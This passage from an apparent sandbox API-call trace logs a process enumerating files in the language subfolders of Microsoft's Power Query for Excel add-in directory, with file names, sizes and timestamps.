ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4620012, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.237] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4409f1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4409f1c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.237] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8680a1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.237] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5ae112, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5ae112, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5d437d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.237] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5ae112, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5ae112, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5d437d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0279.237] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0279.238] GetProcessHeap () returned 0xaf0000 [0279.238] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.238] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.dll", cAlternateFileName="")) returned 1 [0279.239] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0279.239] GetProcessHeap () returned 0xaf0000 [0279.239] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.239] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.240] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.240] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c895d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c895d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4caf7cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.240] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.241] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.241] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf854e731, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8574958, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8eaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.241] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf854e731, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8574958, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8eaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0279.241] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0279.242] GetProcessHeap () returned 0xaf0000 [0279.242] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.242] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0279.242] GetProcessHeap () returned 0xaf0000 [0279.242] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.242] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0279.244] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.244] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc0e95c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.244] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.244] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7582db3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7582db3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.244] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bfa6d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.245] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bfa6d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0279.245] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0279.246] GetProcessHeap () returned 0xaf0000 [0279.246] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.246] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-pt", cAlternateFileName="")) returned 1 [0279.246] GetProcessHeap () returned 0xaf0000 [0279.246] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.246] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0279.247] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.247] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc70564d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc70564d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc72b8a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.247] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e82eb0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.248] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.248] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63c7502, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63c7502, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf63c7502, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8c040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.248] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63c7502, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63c7502, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf63c7502, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8c040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0279.248] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0279.249] GetProcessHeap () returned 0xaf0000 [0279.249] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.249] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0279.249] GetProcessHeap () returned 0xaf0000 [0279.249] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.249] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.251] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.251] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.251] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5fc257f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5fc257f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x605aed7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.251] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.251] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0063153, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.251] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0063153, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0279.252] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0279.253] GetProcessHeap () returned 0xaf0000 [0279.253] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.253] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0279.253] GetProcessHeap () returned 0xaf0000 [0279.253] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.253] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.254] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.254] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, 